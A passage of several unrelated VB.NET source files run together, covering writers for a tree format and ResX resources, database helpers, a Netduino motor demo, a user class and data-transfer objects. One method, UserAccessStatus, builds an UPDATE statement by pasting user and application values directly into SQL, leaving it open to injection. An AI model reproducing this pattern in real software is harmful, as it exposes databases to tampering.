ByVal mln As MultiLineNode) Dim HeadLiteral = GetLiteral(mln.Head.Text, True).SingleLine If mln.SingleLineComment.OnSome Then Dim slc = GetSingleLineComment(mln.SingleLineComment.Value) WriteRaw(IndentLevel, HeadLiteral, slc) Else WriteRaw(IndentLevel, HeadLiteral) End If For Each mn In mln.Children WriteMultiNodes(IndentLevel + 1, mn) Next WriteEndDirective(IndentLevel, mln.EndDirective) End Sub Private Function GetSingleLineNode(ByVal sln As SingleLineNode) As String Select Case sln._Tag Case SingleLineNodeTag.EmptyNode Return GetEmptyNode(sln.EmptyNode) Case SingleLineNodeTag.SingleLineFunctionNode Return GetSingleLineFunctionNode(sln.SingleLineFunctionNode) Case SingleLineNodeTag.SingleLineLiteral Return GetSingleLineLiteral(sln.SingleLineLiteral) Case SingleLineNodeTag.ParenthesisNode Return GetParenthesisNode(sln.ParenthesisNode) Case SingleLineNodeTag.SingleLineNodeWithParameters Return GetSingleLineNodeWithParameters(sln.SingleLineNodeWithParameters) Case Else Throw New InvalidOperationException End Select End Function Private Function GetTableLineNode(ByVal tln As TableLineNode) As String Select Case tln._Tag Case TableLineNodeTag.EmptyNode Return GetEmptyNode(tln.EmptyNode) Case TableLineNodeTag.SingleLineFunctionNode Return GetSingleLineFunctionNode(tln.SingleLineFunctionNode) Case TableLineNodeTag.SingleLineLiteral Return GetSingleLineLiteral(tln.SingleLineLiteral) Case TableLineNodeTag.ParenthesisNode Return GetParenthesisNode(tln.ParenthesisNode) Case Else Throw New InvalidOperationException End Select End Function Private Function GetEmptyNode(ByVal en As EmptyNode) As String Return Empty End Function Private Function GetSingleLineFunctionNode(ByVal slfn As SingleLineFunctionNode) As String Dim Tokens = CombineTokens(slfn.Parameters.Select(Function(t) GetToken(t)).ToArray()) Return Combine(GetFunctionDirective(slfn.FunctionDirective), Tokens) End Function Private Function GetParenthesisNode(ByVal pn As ParenthesisNode) As String Return "(" & GetSingleLineNode(pn.SingleLineNode) & ")" End Function Private Function GetSingleLineNodeWithParameters(ByVal slnp As SingleLineNodeWithParameters) As String Dim l As New List(Of String) For Each c In slnp.Children l.Add(GetParenthesisNode(c)) Next If slnp.LastChild.OnSome Then l.Add(GetSingleLineNode(slnp.LastChild.Value)) End If Return Combine(GetSingleLineLiteral(slnp.Head), Combine(l.ToArray())) End Function Private Shared Function GetToken(ByVal t As Token) As String Select Case t._Tag Case TokenTag.SingleLineLiteral Return GetSingleLineLiteral(t.SingleLineLiteral) Case TokenTag.LeftParenthesis Return "(" Case TokenTag.RightParenthesis Return ")" Case TokenTag.PreprocessDirective Return GetPreprocessDirective(t.PreprocessDirective) Case TokenTag.FunctionDirective Return GetFunctionDirective(t.FunctionDirective) Case TokenTag.SingleLineComment Return GetSingleLineComment(t.SingleLineComment) Case Else Throw New InvalidOperationException End Select End Function Private Shared Function GetSingleLineLiteral(ByVal sll As String) As String Return GetLiteral(sll, True).SingleLine End Function Private Shared Function GetSingleLineLiteral(ByVal sll As SingleLineLiteral) As String Return GetSingleLineLiteral(sll.Text) End Function Private Shared Function GetPreprocessDirective(ByVal pd As String) As String Dim s = GetLiteral(pd, True).SingleLine If s.Contains("""") Then Throw New ArgumentException(pd) Return "$" & s End Function Private Shared Function GetFunctionDirective(ByVal fd As String) As String Dim s = GetLiteral(fd, True).SingleLine If s.Contains("""") Then Throw New ArgumentException(fd) Return "#" & s End Function Private Shared Function GetFunctionDirective(ByVal fd As FunctionDirective) As String Return GetFunctionDirective(fd.Text) End Function Private Shared Function GetSingleLineComment(ByVal slc As String) As String If slc.Contains(Cr) OrElse slc.Contains(Lf) Then Throw New InvalidOperationException End If Return "//" & slc End Function Private Shared Function GetSingleLineComment(ByVal slc As SingleLineComment) As String Return GetSingleLineComment(slc.Content.Text) End Function Private Sub WriteEndDirective(ByVal IndentLevel As Integer, ByVal ed As [Optional](Of EndDirective)) If ed.OnSome Then If ed.Value.EndSingleLineComment.OnSome Then Dim eslc = GetSingleLineComment(ed.Value.EndSingleLineComment.Value) WriteRaw(IndentLevel, EndDirective, eslc) Else WriteRaw(IndentLevel, EndDirective) End If End If End Sub Private Function CombineTokens(ByVal ParamArray Values As String()) As String '左括号的右边或右括号的左边没有空格 If Values.Length = 0 Then Return "" Dim l As New List(Of String) For k = 0 To Values.Length - 2 Dim a = Values(k) Dim b = Values(k + 1) l.Add(a) If a = "(" OrElse b = ")" Then Continue For l.Add(" ") Next l.Add(Values(Values.Length - 1)) Return String.Join("", l) End Function Private Function Combine(ByVal ParamArray Values As String()) As String Return String.Join(" ", Values.Where(Function(v) v <> "")) End Function Private Sub WriteRaw(ByVal IndentLevel As Integer, ByVal Value1 As String, ByVal Value2 As String, ByVal ParamArray Values As String()) WriteRaw(IndentLevel, Combine((New String() {Value1, Value2}).Concat(Values).ToArray())) End Sub Private Sub WriteRaw(ByVal IndentLevel As Integer, ByVal Value As String) Dim si = New String(" "c, 4 * IndentLevel) sw.WriteLine(si & Value) End Sub Private Shared Function GetLiteral(ByVal Value As String, ByVal MustSingleLine As Boolean, ByVal Optional MustMultiLine As Boolean = False) As Literal Return TreeFormatLiteralWriter.GetLiteral(Value, MustSingleLine, MustMultiLine) End Function End Class End Namespace
Imports System.IO Namespace Generation Public NotInheritable Class ResxWriter Implements IResourceWriter Private ReadOnly _resourceStrings As New Dictionary(Of String, String)() Private ReadOnly _filePath As String Public Sub New(filePath As String) If String.IsNullOrEmpty(filePath) Then Throw New ArgumentException($"'{NameOf(filePath)}' cannot be null or empty", NameOf(filePath)) End If _filePath = filePath TryCreateResourcesDirectory() End Sub Public Sub AddResource(name As String, value As String) Implements IResourceWriter.AddResource If Not _resourceStrings.Any(Function(r) r.Key = name) Then _resourceStrings.Add(name, value) End If End Sub Public Sub Generate() Implements IResourceWriter.Generate Dim contents As XDocument = <?xml version="1.0" encoding="utf-8"?> <root> <!-- Microsoft ResX Schema Version 2.0 The primary goals of this format is to allow a simple XML format that is mostly human readable. The generation and parsing of the various data types are done through the TypeConverter classes associated with the data types. Example: ... ado.net/XML headers & schema ... <resheader name="resmimetype">text/microsoft-resx</resheader> <resheader name="version">2.0</resheader> <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader> <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader> <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data> <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data> <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64"> <value>[base64 mime encoded serialized .NET Framework object]</value> </data> <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64"> <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value> <comment>This is a comment</comment> </data> There are any number of "resheader" rows that contain simple name/value pairs. Each data row contains a name, and value. The row also contains a type or mimetype. Type corresponds to a .NET class that support text/value conversion through the TypeConverter architecture. Classes that don't support this are serialized and stored with the mimetype set. The mimetype is used for serialized objects, and tells the ResXResourceReader how to depersist the object. This is currently not extensible. For a given mimetype the value must be set accordingly: Note - application/x-microsoft.net.object.binary.base64 is the format that the ResXResourceWriter will generate, however the reader can read any of the formats listed below. mimetype: application/x-microsoft.net.object.binary.base64 value : The object must be serialized with : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter : and then encoded with base64 encoding. mimetype: application/x-microsoft.net.object.soap.base64 value : The object must be serialized with : System.Runtime.Serialization.Formatters.Soap.SoapFormatter : and then encoded with base64 encoding. mimetype: application/x-microsoft.net.object.bytearray.base64 value : The object must be serialized into a byte array : using a System.ComponentModel.TypeConverter : and then encoded with base64 encoding. --> <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata"> <xsd:import namespace="http://www.w3.org/XML/1998/namespace"/> <xsd:element name="root" msdata:IsDataSet="true"> <xsd:complexType> <xsd:choice maxOccurs="unbounded"> <xsd:element name="metadata"> <xsd:complexType> <xsd:sequence> <xsd:element name="value" type="xsd:string" minOccurs="0"/> </xsd:sequence> <xsd:attribute name="name" use="required" type="xsd:string"/> <xsd:attribute name="type" type="xsd:string"/> <xsd:attribute name="mimetype" type="xsd:string"/> <xsd:attribute ref="xml:space"/> </xsd:complexType> </xsd:element> <xsd:element name="assembly"> <xsd:complexType> <xsd:attribute name="alias" type="xsd:string"/> <xsd:attribute name="name" type="xsd:string"/> </xsd:complexType> </xsd:element> <xsd:element name="data"> <xsd:complexType> <xsd:sequence> <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1"/> <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2"/> </xsd:sequence> <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1"/> <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3"/> <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4"/> <xsd:attribute ref="xml:space"/> </xsd:complexType> </xsd:element> <xsd:element name="resheader"> <xsd:complexType> <xsd:sequence> <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1"/> </xsd:sequence> <xsd:attribute name="name" type="xsd:string" use="required"/> </xsd:complexType> </xsd:element> </xsd:choice> </xsd:complexType> </xsd:element> </xsd:schema> <resheader name="resmimetype"> <value>text/microsoft-resx</value> </resheader> <resheader name="version"> <value>2.0</value> </resheader> <resheader name="reader"> <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value> </resheader> <resheader name="writer"> <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value> </resheader> <%= _resourceStrings.Select(Function(r) <data name=<%= r.Key %> xml:space="preserve"> <value><%= r.Value %></value> </data>) %> </root> contents.Save(_filePath) End Sub Private Sub TryCreateResourcesDirectory() Dim directoryPath As String = New FileInfo(_filePath).DirectoryName If Not Directory.Exists(directoryPath) Then Directory.CreateDirectory(directoryPath) End If End Sub End Class 'Public Class ResxWriter ' Implements IDisposable ' Private ReadOnly _resourceWriter As ResourceWriter ' Private _resourceStrings As New List(Of ResourceEntry)() ' Private _filePath As String ' Public Sub New(filePath As String) ' If String.IsNullOrEmpty(filePath) Then ' Throw New ArgumentException($"'{NameOf(filePath)}' cannot be null or empty", NameOf(filePath)) ' End If ' _filePath = filePath ' Dim directoryPath As String = New FileInfo(filePath).DirectoryName ' If Not Directory.Exists(directoryPath) Then ' Directory.CreateDirectory(directoryPath) ' End If ' _resourceStrings.Clear() ' '_resourceWriter = New ResourceWriter(fileStream) ' End Sub ' Public Sub Write(entry As ResourceEntry) ' '_resourceWriter.AddResource(entry.Key, entry.Value) ' If Not _resourceStrings.Any(Function(r) r.Name = entry.Name) Then ' _resourceStrings.Add(entry) ' End If ' End Sub ' Public Sub Dispose() Implements IDisposable.Dispose ' '_resourceWriter.Generate() ' '_resourceWriter.Close() ' Dim contents As XDocument = <?xml version="1.0" encoding="utf-8"?> ' <root> ' <!-- 'Microsoft ResX Schema 'Version 2.0 'The primary goals of this format is to allow a simple XML format 'that is mostly human readable. The generation and parsing of the 'various data types are done through the TypeConverter classes 'associated with the data types. 'Example: '... ado.net/XML headers & schema ... '<resheader name="resmimetype">text/microsoft-resx</resheader> '<resheader name="version">2.0</resheader> '<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader> '<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader> '<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data> '<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data> '<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64"> ' <value>[base64 mime encoded serialized .NET Framework object]</value> '</data> '<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64"> ' <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value> ' <comment>This is a comment</comment> '</data> 'There are any number of "resheader" rows that contain simple 'name/value pairs. 'Each data row contains a name, and value. The row also contains a 'type or mimetype. Type corresponds to a .NET class that support 'text/value conversion through the TypeConverter architecture. 'Classes that don't support this are serialized and stored with the 'mimetype set. 'The mimetype is used for serialized objects, and tells the 'ResXResourceReader how to depersist the object. This is currently not 'extensible. For a given mimetype the value must be set accordingly: 'Note - application/x-microsoft.net.object.binary.base64 is the format 'that the ResXResourceWriter will generate, however the reader can 'read any of the formats listed below. 'mimetype: application/x-microsoft.net.object.binary.base64 'value : The object must be serialized with ' : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter ' : and then encoded with base64 encoding. 'mimetype: application/x-microsoft.net.object.soap.base64 'value : The object must be serialized with ' : System.Runtime.Serialization.Formatters.Soap.SoapFormatter ' : and then encoded with base64 encoding. 'mimetype: application/x-microsoft.net.object.bytearray.base64 'value : The object must be serialized into a byte array ' : using a System.ComponentModel.TypeConverter ' : and then encoded with base64 encoding. '--> ' <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata"> ' <xsd:import namespace="http://www.w3.org/XML/1998/namespace"/> ' <xsd:element name="root" msdata:IsDataSet="true"> ' <xsd:complexType> ' <xsd:choice maxOccurs="unbounded"> ' <xsd:element name="metadata"> ' <xsd:complexType> ' <xsd:sequence> ' <xsd:element name="value" type="xsd:string" minOccurs="0"/> ' </xsd:sequence> ' <xsd:attribute name="name" use="required" type="xsd:string"/> ' <xsd:attribute name="type" type="xsd:string"/> ' <xsd:attribute name="mimetype" type="xsd:string"/> ' <xsd:attribute ref="xml:space"/> ' </xsd:complexType> ' </xsd:element> ' <xsd:element name="assembly"> ' <xsd:complexType> ' <xsd:attribute name="alias" type="xsd:string"/> ' <xsd:attribute name="name" type="xsd:string"/> ' </xsd:complexType> ' </xsd:element> ' <xsd:element name="data"> ' <xsd:complexType> ' <xsd:sequence> ' <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1"/> ' <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2"/> ' </xsd:sequence> ' <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1"/> ' <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3"/> ' <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4"/> ' <xsd:attribute ref="xml:space"/> ' </xsd:complexType> ' </xsd:element> ' <xsd:element name="resheader"> ' <xsd:complexType> ' <xsd:sequence> ' <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1"/> ' </xsd:sequence> ' <xsd:attribute name="name" type="xsd:string" use="required"/> ' </xsd:complexType> ' </xsd:element> ' </xsd:choice> ' </xsd:complexType> ' </xsd:element> ' </xsd:schema> ' <resheader name="resmimetype"> ' <value>text/microsoft-resx</value> ' </resheader> ' <resheader name="version"> ' <value>2.0</value> ' </resheader> ' <resheader name="reader"> ' <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value> ' </resheader> ' <resheader name="writer"> ' <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value> ' </resheader> ' <%= _resourceStrings.Select(Function(r) <data name=<%= r.Name %> xml:space="preserve"> ' <value><%= r.Value %></value> ' <comment><%= r.Comment %></comment> ' </data>) %> ' </root> ' contents.Save(_filePath) ' End Sub 'End Class End Namespace
Option Explicit On Option Strict On Public Enum SearchType fromStart = 0 fromNextRow = 1 End Enum Public Interface ISearchable Function startSearch(ByVal i_PatternSearch As IFoundCondition, _ ByVal i_SearchType As SearchType) As Boolean End Interface Public Interface IFoundCondition Function MatchThePattern(ByVal i_Data2Compare As Object) As Boolean End Interface Public Interface ISearchForm Sub displaySearch(ByVal i_form2Search As ISearchable) End Interface
Public Class TickerRequest Private _Symbol As String Public Property Symbol() As String Get Return _Symbol End Get Set(ByVal value As String) _Symbol = value End Set End Property Private _StartDate As Date = Date.Now Public Property StartDate() As Date Get Return _StartDate End Get Set(ByVal value As Date) _StartDate = value End Set End Property Private _EndDate As Date = Date.Now Public Property EndDate() As Date Get Return _EndDate End Get Set(ByVal value As Date) _EndDate = value End Set End Property End Class
Public Interface IViewFrmCheckSearch Inherits mvcLibrary.IView WriteOnly Property Checklist() As List(Of ChecksClass) WriteOnly Property ActiveDepNo() As String WriteOnly Property CheckAdded() As ChecksClass WriteOnly Property CheckChanged() As ChecksClass WriteOnly Property CheckDeleted() As ChecksClass End Interface
'Fecha: 24/10/2012 'Desarrollador: Diego Salas Arce Public Class frmListarGrupos #Region "Eventos" ''' <summary> ''' Evento del botón Salir el cual cierra el formulario ''' </summary> ''' <param name="sender"></param> ''' <param name="e"></param> ''' <remarks></remarks> Private Sub btnSalir_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnSalir.Click Me.Close() End Sub ''' <summary> ''' Load del formulario Listar Grupos ''' </summary> ''' <param name="sender"></param> ''' <param name="e"></param> ''' <remarks>Diego Salas Arce</remarks> Private Sub frmListarGrupos_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load End Sub #End Region #Region "Constantes" #End Region #Region "Atributos" #End Region #Region "Funciones" #End Region #Region "Procedimientos" #End Region End Class
Imports System.Data.SqlClient Public Class clsConexion Private Conn As SqlConnection Sub New() 'Crear la coneccion en Conn Conn = New SqlConnection(My.Settings.coneccion) End Sub Private Sub OpenConexion() Conn.Open() End Sub Public Function ejecutar(ByVal scrip As String) As Boolean Dim correcto As Boolean = True Dim cmd As SqlCommand Try OpenConexion() cmd = New SqlCommand(scrip, Conn) cmd.ExecuteNonQuery() Catch ex As Exception MessageBox.Show("Error en la actualizacion el registro no se actualizado:-- " + ex.Message, "Mensaje de Clase Update", MessageBoxButtons.OK, MessageBoxIcon.Error) correcto = False End Try CLoseConeccion() Return correcto End Function Public Function GetValor(ByVal scrip As String) As String Dim cmd As SqlCommand Dim valor As String = "" Try OpenConexion() cmd = New SqlCommand(scrip, Conn) valor = cmd.ExecuteScalar() Catch ex As Exception MessageBox.Show("Error en la actualizacion:-- " + ex.Message) End Try CLoseConeccion() Return valor End Function Public Function GetReader(ByVal scrip As String) As SqlDataReader Dim cmd As SqlCommand Dim MyReader As SqlDataReader = Nothing Try OpenConexion() cmd = New SqlCommand(scrip, Conn) MyReader = cmd.ExecuteReader() Catch ex As Exception MessageBox.Show("Error en la actualizacion:-- " + ex.Message) End Try Return MyReader End Function Public Function GetDataTable(ByVal sql As String) As DataTable Dim dt As DataTable = Nothing Try OpenConexion() Dim cmd As New SqlCommand(sql, Conn) Dim Da As New SqlDataAdapter(cmd) dt = New DataTable() Da.Fill(dt) Catch ex As Exception MessageBox.Show("Error en la actualizacion:-- " + ex.Message) End Try CLoseConeccion() Return dt End Function Public Sub Carga_Combo(ByVal sql As String, ByVal dt As DataTable, ByVal cbo As ComboBox) Try OpenConexion() Dim cmd As New SqlCommand(sql, Conn) Dim Da As New SqlDataAdapter(cmd) Da.Fill(dt) '----ValueMember : Almacenar el codigo del registro '----DisplayMember : Mostrar descripcion en el combo cbo.ValueMember = dt.Columns(0).Caption cbo.DisplayMember = dt.Columns(1).Caption '----Cargar el combo cbo.DataSource = dt ' cbo.SelectedIndex = 0 Catch ex As Exception MessageBox.Show("Error en la actualizacion:-- " + ex.Message) End Try CLoseConeccion() End Sub Public Sub CLoseConeccion() If Conn IsNot Nothing Or Conn.State <> ConnectionState.Closed Then Conn.Close() End If End Sub End Class
Imports Microsoft.SPOT Imports Microsoft.SPOT.Hardware Imports SecretLabs.NETMF.Hardware Imports SecretLabs.NETMF.Hardware.Netduino Imports Toolbox.NETMF.Hardware ' Copyright 2012 Stefan Thoolen (http://www.netmftoolbox.com/) ' ' Licensed under the Apache License, Version 2.0 (the "License"); ' you may not use this file except in compliance with the License. ' You may obtain a copy of the License at ' ' http://www.apache.org/licenses/LICENSE-2.0 ' ' Unless required by applicable law or agreed to in writing, software ' distributed under the License is distributed on an "AS IS" BASIS, ' WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ' See the License for the specific language governing permissions and ' limitations under the License. Module Module1 Sub Main() ' This constructor works perfectly for the Netduino Classic and Plus, ' but if you're using a Netduino Classic or Plus, you can drive just two motors. ' So to keep the code working, I used null for Motor1Pwm and Motor2Pwm. Dim Shield As AdafruitMotorshield = New AdafruitMotorshield( ClockPin:=Pins.GPIO_PIN_D4, EnablePin:=Pins.GPIO_PIN_D7, DataPin:=Pins.GPIO_PIN_D8, LatchPin:=Pins.GPIO_PIN_D13, Motor1Pwm:=Nothing, Motor2Pwm:=Nothing, Motor3Pwm:=New Netduino.PWM(Pins.GPIO_PIN_D6), Motor4Pwm:=New Netduino.PWM(Pins.GPIO_PIN_D5) ) Do For i As SByte = -100 To 100 Step 1 Shield.SetState(AdafruitMotorshield.Motors.Motor4, i) Thread.Sleep(100) Next For i As SByte = 99 To -99 Step -1 Shield.SetState(AdafruitMotorshield.Motors.Motor4, i) Thread.Sleep(100) Next Loop End Sub End Module
Public Class myUser Public Enum RequestTypeOption unknown = 0 insert = 1 delete = 2 update = 3 End Enum Private mRequestType As RequestTypeOption = RequestTypeOption.update Public Function IsAuthorizedFor(ByVal lApplication As String, ByVal lApplicationPart As String, ByVal lRoleToTestFor As String) As Boolean Dim lAuth As String = mGboxmanager.Authorisation(lApplication, lApplicationPart, mCW_ID) If InStr(lAuth.ToUpper, lRoleToTestFor.ToUpper) <> 0 Then Return True End If Return mGboxmanager.IsGBoxAdmin(mCW_ID) End Function '--------------------------------------------------------------------------------------------------- ' Reference : CR ZHHR 1035817 - GBOX WebForms: Add code for updating LAST_LOGON, LAST_LOGON_APPLICATION FIELDS ' Comment : Add code for LAST_LOGON, LAST_LOGON_APPLICATION fields in table MDRS_USER ' Added by : Milind Randive (CWID : EOJCH) ' Date : 2014-12-12 ''' <summary> ''' Reference : ZHHR 1058919 - GBOX MGR OTT 2857: Rename table USER ''' Comment : Rename [USER] table to MDRS_USER ''' There are too much changes for this table name change, so i will comment only at this location. ''' Added by : Milind Randive (CWID : EOJCH) ''' Date : 01-Jul-2016 ''' </summary> ''' <param name="mCW_ID"></param> ''' <param name="m_App"></param> ''' <returns></returns> ''' <remarks></remarks> Public Function UserAccessStatus(ByVal mCW_ID As String, ByVal m_App As String) As Boolean Dim lSql As String = "" Dim lPackage As New List(Of String) lSql = "Update MDRS_USER set LAST_LOGON='" & DateTime.Now.ToString & "', LAST_LOGON_APPLICATION='" & m_App & "' where [CW_ID]='" & mCW_ID & "'" lPackage.Add(lSql) Return Me.Databasemanager.ExecutePackage(lPackage) End Function ' Reference END : CR ZHHR 1035817 Private mfirst_name As String Public Property first_name() As String Get Return mfirst_name End Get Set(ByVal value As String) mfirst_name = value End Set End Property Private mlast_name As String Public Property last_name() As String Get Return mlast_name End Get Set(ByVal value As String) mlast_name = value End Set End Property Private mTITLE As String Public Property TITLE() As String Get Return mTITLE End Get Set(ByVal value As String) mTITLE = value End Set End Property Private mSUBGROUP_ID As String Public Property SUBGROUP_ID() As String Get Return mSUBGROUP_ID End Get Set(ByVal value As String) mSUBGROUP_ID = value End Set End Property Private mAREA_ID As String Public Property AREA_ID() As String Get Return mAREA_ID End Get Set(ByVal value As String) mAREA_ID = value End Set End Property Private mUserRole As String Public Property UserRole() As String Get Return mUserRole End Get Set(ByVal value As String) mUserRole = value End Set End Property Private mCW_ID As String Public Property CW_ID() As String Get Return mCW_ID End Get Set(ByVal value As String) mCW_ID = value If InStr(mCW_ID, "\") <> 0 Then mCW_ID = mCW_ID.Split(CChar("\"))(1).ToString End If End Set End Property Private mSMTP_EMAIL As String Public Property SMTP_EMAIL() As String Get Return mSMTP_EMAIL End Get Set(ByVal value As String) mSMTP_EMAIL = value End Set End Property Private mCurrent_Request_ID As String Public Property Current_Request_ID() As String Get If mCurrent_Request_ID = "" Then mCurrent_Request_ID = Me.GBOXmanager.GetGBOXId() End If Return mCurrent_Request_ID End Get Set(ByVal value As String) If value = "" Then value = Me.GBOXmanager.GetGBOXId() End If mCurrent_Request_ID = value End Set End Property Private mCurrent_OBJ As myOBJ Public Property Current_OBJ() As myOBJ Get Return mCurrent_OBJ End Get Set(ByVal value As myOBJ) mCurrent_OBJ = value End Set End Property Private mCheckBoxList As List(Of ListItem) Public Property CheckBoxList() As List(Of ListItem) Get Return mCheckBoxList End Get Set(ByVal value As List(Of ListItem)) mCheckBoxList = value End Set End Property Private mOBJ_Value As String Public Property OBJ_Value() As String Get Return mOBJ_Value End Get Set(ByVal value As String) mOBJ_Value = value End Set End Property Private mOBJ_FIELD_ID As String Public Property OBJ_FIELD_ID() As String Get Return mOBJ_FIELD_ID End Get Set(ByVal value As String) mOBJ_FIELD_ID = value End Set End Property Private mCURRENT_OBJ__TYPE As String Public Property CURRENT_OBJ__TYPE() As String Get Return mCURRENT_OBJ__TYPE End Get Set(ByVal value As String) mCURRENT_OBJ__TYPE = value End Set End Property Private mQuery As Boolean = False Public Property Query() As Boolean Get Return mQuery End Get Set(ByVal value As Boolean) mQuery = value End Set End Property Private mEditMode As Boolean = False Public Property EditMode() As Boolean Get Return mEditMode End Get Set(ByVal value As Boolean) mEditMode = value End Set End Property Private mGboxmanager As myGBoxManager Public ReadOnly Property GBOXmanager() As myGBoxManager Get Return mGboxmanager End Get End Property Private mDatabasemanager As mySQLDBMANAGER Public ReadOnly Property Databasemanager() As mySQLDBMANAGER Get Return mDatabasemanager End Get End Property Public Sub New() mDatabasemanager = New mySQLDBMANAGER mDatabasemanager.User = Me mGboxmanager = New myGBoxManager() End Sub Private mRequestText As String Public Property RequestText() As String Get Return mRequestText End Get Set(ByVal value As String) mRequestText = value End Set End Property Private mRollbackPack As New List(Of String) Public Property RollbackPack() As List(Of String) Get Return mRollbackPack End Get Set(ByVal value As List(Of String)) mRollbackPack = value End Set End Property Private mPackage As New List(Of String) Public Property Package() As List(Of String) Get Return mPackage End Get Set(ByVal value As List(Of String)) mPackage = value End Set End Property Private mCurrentSql As String Public Property Current_SQL() As String Get Return mCurrentSql End Get Set(ByVal value As String) mCurrentSql = value End Set End Property Public Property RequestType As RequestTypeOption Get Return mRequestType End Get Set(ByVal value As RequestTypeOption) mRequestType = value End Set End Property '--------------------------------------------------------------------------------------------------- ' Reference : ZHHR 1053017 - GBOX Cockpit OTT 1729: System dependent workflow ' Comment : Added filter property ' Added by : Milind Randive (CWID : EOJCH) ' Date : 17-Feb-2016 Private mCocFilter As String Public Property CocFilter() As String Get Return mCocFilter End Get Set(ByVal value As String) mCocFilter = value End Set End Property Private mSystemIds As String Public Property SystemIds As String Get Return mSystemIds End Get Set(ByVal value As String) mSystemIds = value End Set End Property ' Reference End : ZHHR 1053017 End Class
Imports System.IO Namespace FileStructures ''' <summary> ''' Представляет структуру PDF (заголовок, тело, ссылочная таблица, трейлер). ''' </summary> Public MustInherit Class FileStructure Implements IWritable Private _pdf As PDF ''' <summary> ''' Документ с которым связана структура. ''' </summary> Public Property PDF As PDF Get Return _pdf End Get Friend Set(value As PDF) _pdf = value End Set End Property ''' <summary> ''' Возвращает количество байтов объекта. ''' </summary> Friend MustOverride ReadOnly Property Length() As Integer Implements IWritable.Length ''' <summary> ''' Записывает объект в MemoryStream. ''' </summary> Friend MustOverride Sub WriteIn(stream As MemoryStream) Implements IWritable.WriteIn End Class End Namespace
 ''DTO Definition - ProductFurniture (to ProductFurniture)'Generated from Table:ProductFurniture Imports RTIS.DataLayer Imports RTIS.DataLayer.clsDBConnBase Imports RTIS.CommonVB.clsGeneralA Imports RTIS.CommonVB Public Class dtoProductFurniture : Inherits dtoProductBase Public Sub New(ByRef rDBSource As clsDBConnBase) MyBase.New(rDBSource) End Sub Protected Overrides Sub SetTableDetails() pTableName = "ProductFurniture" pKeyFieldName = "ProductFurnitureID" pUseSoftDelete = False pRowVersionColName = "rowversion" pConcurrencyType = eConcurrencyType.OverwriteChanges End Sub Overrides Property ObjectKeyFieldValue() As Integer Get ObjectKeyFieldValue = CType(pProduct, dmProductFurniture).ProductFurnitureID End Get Set(ByVal value As Integer) CType(pProduct, dmProductFurniture).ProductFurnitureID = value End Set End Property Overrides Property IsDirtyValue() As Boolean Get IsDirtyValue = CType(pProduct, dmProductFurniture).IsDirty End Get Set(ByVal value As Boolean) CType(pProduct, dmProductFurniture).IsDirty = value End Set End Property Overrides Property RowVersionValue() As ULong Get End Get Set(ByVal value As ULong) End Set End Property Overrides Sub ObjectToSQLInfo(ByRef rFieldList As String, ByRef rParamList As String, ByRef rParameterValues As System.Data.IDataParameterCollection, ByVal vSetList As Boolean) Dim mDummy As String = "" Dim mDummy2 As String = "" If vSetList Then DBSource.AddParamPropertyInfo(rParameterValues, mDummy, mDummy2, vSetList, "ProductFurnitureID", CType(pProduct, dmProductFurniture).ProductFurnitureID) End If With CType(pProduct, dmProductFurniture) DBSource.AddParamPropertyInfo(rParameterValues, rFieldList, rParamList, vSetList, "Description", StringToDBValue(.Description)) DBSource.AddParamPropertyInfo(rParameterValues, rFieldList, rParamList, vSetList, "Notes", StringToDBValue(.Notes)) DBSource.AddParamPropertyInfo(rParameterValues, rFieldList, rParamList, vSetList, "Code", StringToDBValue(.Code)) DBSource.AddParamPropertyInfo(rParameterValues, rFieldList, rParamList, vSetList, "ItemType", .FurnitureType) End With End Sub Overrides Function ReaderToObject(ByRef rDataReader As IDataReader) As Boolean Dim mOK As Boolean Try If CType(pProduct, dmProductFurniture) Is Nothing Then SetObjectToNew() With CType(pProduct, dmProductFurniture) .ProductFurnitureID 